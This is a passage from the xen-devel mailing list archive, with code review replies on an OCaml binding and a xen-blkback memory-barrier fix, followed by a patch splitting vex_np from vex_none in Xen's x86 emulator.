> +        Field(arch_config, 2) =3D tmp;

Shouldn't the Field() be a `Store_field(arch_config, 2, tmp);`, because=20
the `caml_copy_int32` makes an allocation on the minor heap to allow=20
OCAML's GC to keep track of this pointer if ever the arch_config is=20
promoted?

> +
> +#elif defined(__i386__) || defined(__x86_64__)
> +
> +        tag =3D 1; /* tag x86 */
>  =20
>   	/*
>   	 * emulation_flags: x86_arch_emulation_flags list;



-- 
Julian Vetter | Vates Hypervisor & Kernel Developer

XCP-ng & Xen Orch=
estra - Vates solutions

web: https://vates=2Etech
---=Part.1712.cbb2ec61aafbc5a5.19fb23114e8.a6439b7f2d9a4174=---


From xen-devel-bounces@lists.xenproject.org Thu Jul 30 08:43:48 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 08:43:48 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1377319.1623429 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpMMm-0006M9-D1; Thu, 30 Jul 2026 08:43:48 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1377319.1623429; Thu, 30 Jul 2026 08:43:48 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpMMm-0006M2-A0; Thu, 30 Jul 2026 08:43:48 +0000
Received: by outflank-mailman (input) for mailman id 1377319;
 Thu, 30 Jul 2026 08:43:46 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wpMMk-0006Lu-LP
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 08:43:46 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpMMk-002SDZ-1x
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 10:43:46 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6b0eb4-bab6-0a2a0a5309dd-0a2a450284b2-42
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 10:43:45 +0200
Received: from [209.85.128.53] (helo=mail-wm1-f53.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6b0ec1-6ca4-0a2a45020019-d1558035ad1a-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 10:43:45 +0200
Received: by mail-wm1-f53.google.com with SMTP id
 5b1f17b1804b1-49558ce01afso12366745e9.1
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 01:43:45 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49764d6d0f8sm114474435e9.2.2026.07.30.01.43.44
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 30 Jul 2026 01:43:45 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785401025; x=1786005825; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=M2aUYlvSnFQyHqLqh6TDTs9lMuK0bX5eXRwDs/M2T8c=;
        b=S7uF8HYVd2SoG5rTs+ehBBVVSvRc2WP04sbeRBeSpyxMXjfYSI5DL7qa8nQ42oinKO
         /88Ur66D/8wAZUk1GIX9gnLDDG1SXRlQ/ahru7bOeYBm5hRl0sSj9ah1RAXTpsgO/ZfL
         eDLT6RcG7O1Iv3CbKX8/l4x+EsQARp7503cCnnXM/JuCGSCqbM2H5cbRSnIg/N7h1ERG
         ZPbeLtPY2ZUJCiYib35daqoagNqSMkHC68tXLMw8BNE6rIV8M15U5G3TuJFUW0TDcnXZ
         gVl6PN9SUrXWBFkrKlEykREyKqrBNkd+3Jmj1ocxGE+U2zx3ijoYJoiMSt+wFZaaSkRY
         lMyw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785401025; x=1786005825;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=M2aUYlvSnFQyHqLqh6TDTs9lMuK0bX5eXRwDs/M2T8c=;
        b=NiKqkOpP9GMtIAwEa2tDdYYoRqvLgIAedGTrmcoQWby/Id611j3QMSN46C9sNGlZx3
         +Lnz80qvea0IS6xnX8ccSU9vCUtuCQF1syAzkh6LhKjjKPTh8tW6yOqoiz3MulzZju/a
         mc0d11HR01820XHbhzaTOg0f7X9vwRVp8Wc8NupSlENOxwR8PZk9UB5mYCeH2MqSm8Pz
         dbzWSSBLmeGbzOjrpkfod0UhsQdtPlYWkAD3PW3kpLmhr9ueqLysYDlOPopaslmf/68S
         +9JVotGihL9kzzavlwEqiWXorb+hARylqxzd6yDDI2f5sRdipwh4LXtLbkadLLhDUmQM
         jFcw==
X-Forwarded-Encrypted: i=1; AHgh+Rqjk09FM8Dm09mTcJ8Kux8LBgQRRsHT4X4iTSRkd3IyjZXyy3qGjUgHQUYKL1vnUy6adt3/0uGwxys=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yz0yo5KWO8Nk7EjwOY8gd7/WBEQdME+Mm4JD/r3bgLjjgJzJvEh
	9U8ctFIgwe7sb3sycAgIIeZI02oVdLzVUGlLweaZ3KD613NwQYJwcKkbSDCH0YabVg==
X-Gm-Gg: AR+sD12Kh5rn8yBCLOBe0dlyI01k6FTxrBKiOcH0T6PlmZbyzQ1Ws0Rkd+7s3x1lHhK
	Bn7FHTRQcFH4Aikh1IVNVrZvGrT9l1iKfS0r50qHHa+a1q2Y0hZs4z18AGqVtvON/5OxfwPFGTq
	atf23hyDitS/MqDMh8UoGm5MI86ASHMmuQYtOSMeXtVl2JQPBivtcRRHiM5JsERDzHSt91O4ul1
	HsQtK2RYntnjd8+H9ky/0oGfjfCyUkKmrgSQDE77PFVh/2EkggJqGM2aSR/sGDK+JoI2qITegrx
	yLtY4sgCwhR4G8Oc+f3GIHGSyrJfkb9TpJatASB/UmB61C63eUAqoaX+sApOH6tdeq7mTG6BXQw
	prRYGQ4UScu/P2oXY11nyTgUGYIX8FUsNRK+eQCYkJZCrSCZNWwZPQUWjyM8ld7ezjFZprsiFy3
	UidRFJQJs2WgIAN29XRsRwHPCXcFvwHRRzM6WxmBPAcxeBJ9IFw9Xs9BUtotkwGnZ2RBGThkX3s
	GfhsKzkcI76pNdbEFSe5wrQycapFa5FbSq8w3qg9dlrBEc6P/yOLA==
X-Received: by 2002:a05:600c:b95:b0:495:3b8a:bf11 with SMTP id 5b1f17b1804b1-49800ebb830mr23188915e9.26.1785401025320;
        Thu, 30 Jul 2026 01:43:45 -0700 (PDT)
Message-ID: <66fc571d-4e6e-4d2e-973c-2de4789df432@suse.com>
Date: Thu, 30 Jul 2026 10:43:43 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] xen/blkback: Prevent missed completion when draining I/O
To: Gui-Dong Han <hanguidong02@gmail.com>
Cc: axboe@kernel.dk, linux-block@vger.kernel.org, konrad.wilk@oracle.com,
 linux-kernel@vger.kernel.org, baijiaju1990@gmail.com, roger@xenproject.org,
 xen-devel@lists.xenproject.org
References: <20260730084000.3305702-1-hanguidong02@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260730084000.3305702-1-hanguidong02@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-720697/1785401025-30DC12AC-199C709E/0/0
X-purgate-type: clean
X-purgate-size: 805

On 30.07.2026 10:40, Gui-Dong Han wrote:
> --- a/drivers/block/xen-blkback/blkback.c
> +++ b/drivers/block/xen-blkback/blkback.c
> @@ -1021,6 +1021,13 @@ static void xen_blk_drain_io(struct xen_blkif_ring *ring)
>  	struct xen_blkif *blkif = ring->blkif;
>  
>  	atomic_set(&blkif->drain, 1);
> +	/*
> +	 * Publish drain before checking inflight. Otherwise,
> +	 * xen_blkbk_unmap_and_respond_callback() can decrement inflight with
> +	 * atomic_dec_and_test() and still see drain == 0 after this path saw
> +	 * inflight > 0, missing the completion.
> +	 */
> +	smp_mb();
>  	do {
>  		if (atomic_read(&ring->inflight) == 0)
>  			break;

Yet then don't we also need a barrier in xen_blkbk_unmap_and_respond_callback()'s
check? Barriers almost always come in pairs, after all.

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 30 08:48:34 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 08:48:34 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1377334.1623439 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpMRI-0007TW-TF; Thu, 30 Jul 2026 08:48:28 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1377334.1623439; Thu, 30 Jul 2026 08:48:28 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpMRI-0007TP-Q9; Thu, 30 Jul 2026 08:48:28 +0000
Received: by outflank-mailman (input) for mailman id 1377334;
 Thu, 30 Jul 2026 08:48:27 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wpMRG-0007TJ-Uu
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 08:48:27 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpMRG-002TpQ-Bh
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 10:48:26 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6b0fd4-e002-0a2a0a5209dd-0a2a4506ac90-20
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 10:48:26 +0200
Received: from [209.85.128.43] (helo=mail-wm1-f43.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6b0fd9-195a-0a2a45060019-d155802bb8a8-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 10:48:26 +0200
Received: by mail-wm1-f43.google.com with SMTP id
 5b1f17b1804b1-496bb7cdf51so17880185e9.2
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 01:48:25 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49764d752dbsm78861845e9.3.2026.07.30.01.48.24
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 30 Jul 2026 01:48:24 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:Autocrypt:Subject:From:Cc:To:Content-Language:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785401305; x=1786006105; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:autocrypt:subject:from:cc:to
         :content-language:user-agent:mime-version:date:message-id:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=MPEvPk/rIMlHipbTjdNeheE/8sSaPGbac6hmlR4fCYg=;
        b=cavn2RlCzA7ehFXDzyikaO5EMwm26GObCUCK7eThTxHh/YrrlraQyle0l3ZnzZiEsA
         PSVR2Vw9eCTHJ4sgLdi4S2ZUironxwltTrMYu/xFQh+Jr10DH1Sln/fXwhdhcSSb86WU
         kX5MrbmVF574LXem30Ncmr9vtaWdsx6Y/tSzeNLzd792UGEnMxMl5olCYbtSFhbShElA
         WOZNnUmJY79LJwSyUgxokZ/Wjigdfr4LH/41zdiLSZlI2OKiTWgfUGsb04c55iNqXS+g
         OIKNcErJDTLMs7RIYESgw1FHqWI4TN9jW/G4LgG83vRldTLYK1Cw5zRAmQxTtJrxkQ0N
         Kx7A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785401305; x=1786006105;
        h=content-transfer-encoding:content-type:autocrypt:subject:from:cc:to
         :content-language:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=MPEvPk/rIMlHipbTjdNeheE/8sSaPGbac6hmlR4fCYg=;
        b=n7B/BZpyfDw8c8CwLnc5yOA7onGHUMOikIQyGP3vH5hTBZdXuQyBmuE0YP1Ppyfy7Z
         +RMoNON3kR2dI0DKLgS+PCV4ZTpXmZnif+Tuo2Tty1Bc2f5yg8VN19MGywBrLpFHJTPD
         UMTosXT/v9ttCSwP2yb7IJSgoPAU+WdiBz6wMqUwOTLCnme1cfPn6nAZ31xV7aAnfDNg
         pYTuNpx4QTLNhCeh+mO2QZUb1ChCCc0LDcfYZUC7Cqzddj4H7TLh5KyfFIFdEfgPlkWo
         w6VTvMLsKOxjkAxLunbzJUQl30+JZRbaiVxTIJ0n7ZYi81zOzjYi13CSdIzrgwZrGiqy
         40gg==
X-Gm-Message-State: AOJu0Yy8g0GdokVt6MIMIBcsvnq2v7vvLd9GdVq2tefXwqSY+G9OQ9F8
	e5rBWdvsU9aQcVaoFGzT7O+yMEHSZQVXxAFoVLH6fx9RCHVfDzd4lKG8f3RyENrGXswEZgjebG9
	UMPTcmw==
X-Gm-Gg: AR+sD13MxrWOMbrL1D079gUNubY6SIoKszgiVuSyRTd7phfx2NgY1PdQqhP6KuPP+i1
	8i5Pi8xexspzlQkXC3bVsaa8kdQOh/Ks8O+fbGffi8PHto0Cauii9zD0uJhnjCAUQHusUmu2bY3
	AI27fOESvbEEnj+zp4TsRJCOBHZnsV82wdobKWWVSt+Md8H9DNobfRYvEd4fVCN3CddfpecBi3e
	EgpHmAttuUS9osEakTr4rAPVGJheL3hyJ0yGt/BgDG7l2xNq2GUynfO/8qCqiXfZARGj7mLw+58
	UCQ0DLY9Z3EG8gIU6ly6qVgeN4GxH2cEbu/5aBDbkTuWikjAVbbIJt386LEp/ZJJ0qzx9nEATKa
	QAZfeGejh8M8cy+HIGUh/LXVtPMpf+nqTAw2LfFS1yBk222Ihv7dW7XnIVHDMANYPuqtpvDwMfe
	uc8o5RRUhJualBvOuwvDqec6l4rniOWePfhOdj5MbpXfnH+6vDKPoR9t8bLeQQMDhkPt6rUY77c
	jtzBGtqJbyVOHkpTA1a9OrdaKHe7ZiYs0pHuMVFJo9vhtuYXLOe
X-Received: by 2002:a05:600c:8707:b0:493:c182:6b08 with SMTP id 5b1f17b1804b1-49800ed12f2mr21333225e9.36.1785401305382;
        Thu, 30 Jul 2026 01:48:25 -0700 (PDT)
Message-ID: <32b8a5a6-a34a-4e4b-922b-b5daa41c6e56@suse.com>
Date: Thu, 30 Jul 2026 10:48:23 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Content-Language: en-US
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger@xenproject.org>
From: Jan Beulich <jbeulich@suse.com>
Subject: [PATCH] x86emul: spilt vex_np from vex_none
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-16d1c6/1785401306-F76C877B-5EC47E59/0/0
X-purgate-type: clean
X-purgate-size: 2972

..., undoing the aliasing between two distinct enums, and more in line
with how the SDM nowadays names things.

Signed-off-by: Jan Beulich <jbeulich@suse.com>
---
This becomes necessary in the APX series (yet to be posted), but I think
it's a good idea to do the split anyway.

--- a/xen/arch/x86/x86_emulate/0f01.c
+++ b/xen/arch/x86/x86_emulate/0f01.c
@@ -34,7 +34,7 @@ int x86emul_0f01(struct x86_emulate_stat
     case 0xc6:
         switch ( s->vex.pfx )
         {
-        case vex_none: /* wrmsrns */
+        case vex_np: /* wrmsrns */
             vcpu_must_have(wrmsrns);
             generate_exception_if(!mode_ring0(), X86_EXC_GP, 0);
             fail_if(!ops->write_msr);
@@ -120,7 +120,7 @@ int x86emul_0f01(struct x86_emulate_stat
     case 0xe8:
         switch ( s->vex.pfx )
         {
-        case vex_none: /* serialize */
+        case vex_np: /* serialize */
             vcpu_must_have(serialize);
             asm volatile ( ".byte 0x0f, 0x01, 0xe8" ); /* Binutils >= 2.34, Clang >= 11 */
             break;
@@ -154,7 +154,7 @@ int x86emul_0f01(struct x86_emulate_stat
     case 0xee:
         switch ( s->vex.pfx )
         {
-        case vex_none: /* rdpkru */
+        case vex_np: /* rdpkru */
             if ( !ops->read_cr ||
                  ops->read_cr(4, &cr4, ctxt) != X86EMUL_OKAY )
                 cr4 = 0;
@@ -171,7 +171,7 @@ int x86emul_0f01(struct x86_emulate_stat
     case 0xef:
         switch ( s->vex.pfx )
         {
-        case vex_none: /* wrpkru */
+        case vex_np: /* wrpkru */
             if ( !ops->read_cr ||
                  ops->read_cr(4, &cr4, ctxt) != X86EMUL_OKAY )
                 cr4 = 0;
--- a/xen/arch/x86/x86_emulate/decode.c
+++ b/xen/arch/x86/x86_emulate/decode.c
@@ -1862,7 +1862,7 @@ int x86emul_decode(struct x86_emulate_st
     case simd_packed_int:
         switch ( s->vex.pfx )
         {
-        case vex_none:
+        case vex_np:
             if ( !s->vex.opcx )
             {
                 s->op_bytes = 8;
--- a/xen/arch/x86/x86_emulate/private.h
+++ b/xen/arch/x86/x86_emulate/private.h
@@ -195,10 +195,9 @@ enum simd_opsize {
 };
 typedef uint8_t simd_opsize_t;
 
-#define vex_none 0
-
 enum vex_opcx {
-    vex_0f = vex_none + 1,
+    vex_none,
+    vex_0f,
     vex_0f38,
     vex_0f3a,
     evex_map5 = 5,
@@ -206,7 +205,8 @@ enum vex_opcx {
 };
 
 enum vex_pfx {
-    vex_66 = vex_none + 1,
+    vex_np,
+    vex_66,
     vex_f3,
     vex_f2
 };
--- a/xen/arch/x86/x86_emulate/x86_emulate.c
+++ b/xen/arch/x86/x86_emulate/x86_emulate.c
@@ -6031,7 +6031,7 @@ x86_emulate(
         pvex = copy_VEX(opc, vex);
         pvex->opcx = vex_0f;
         if ( elem_bytes == 4 )
-            pvex->pfx = vex_none;
+            pvex->pfx = vex_np;
         opc[0] = 0x50; /* vmovmskp{s,d} */
         /* Use %rax as GPR destination and VEX.vvvv as source. */
         pvex->r = 1;


From xen-devel-bounces@lists.xenproject.org Thu Jul 30 09:25:59 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 09:25:59 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1377350.1623447 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpN1T-0005dP-M2; Thu, 30 Jul 2026 09:25:51 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1377350.1623447; Thu, 30 Jul 2026 09:25:51 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpN1T-0005dI-Iq; Thu, 30 Jul 2026 09:25:51 +0000
Received: by outflank-mailman (input) for mailman id 1377350;
 Thu, 30 Jul 2026 09:25:49 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <hanguidong02@gmail.com>) id 1wpN1R-0005dC-RS
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 09:25:49 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpN1R-00AaeR-7I
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 11:25:49 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <hanguidong02@gmail.com>)
 id 6a6b188e-bab6-0a2a0a5309dd-0a2a450ab278-30
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 11:25:49 +0200
Received: from [209.85.161.42] (helo=mail-oo1-f42.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <hanguidong02@gmail.com>)
 id 6a6b189c-f2d2-0a2a450a0019-d155a12acc9a-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 11:25:49 +0200
Received: by mail-oo1-f42.google.com with SMTP id
 006d021491bc7-6aae384221fso1152299eaf.0
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 02:25:48 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
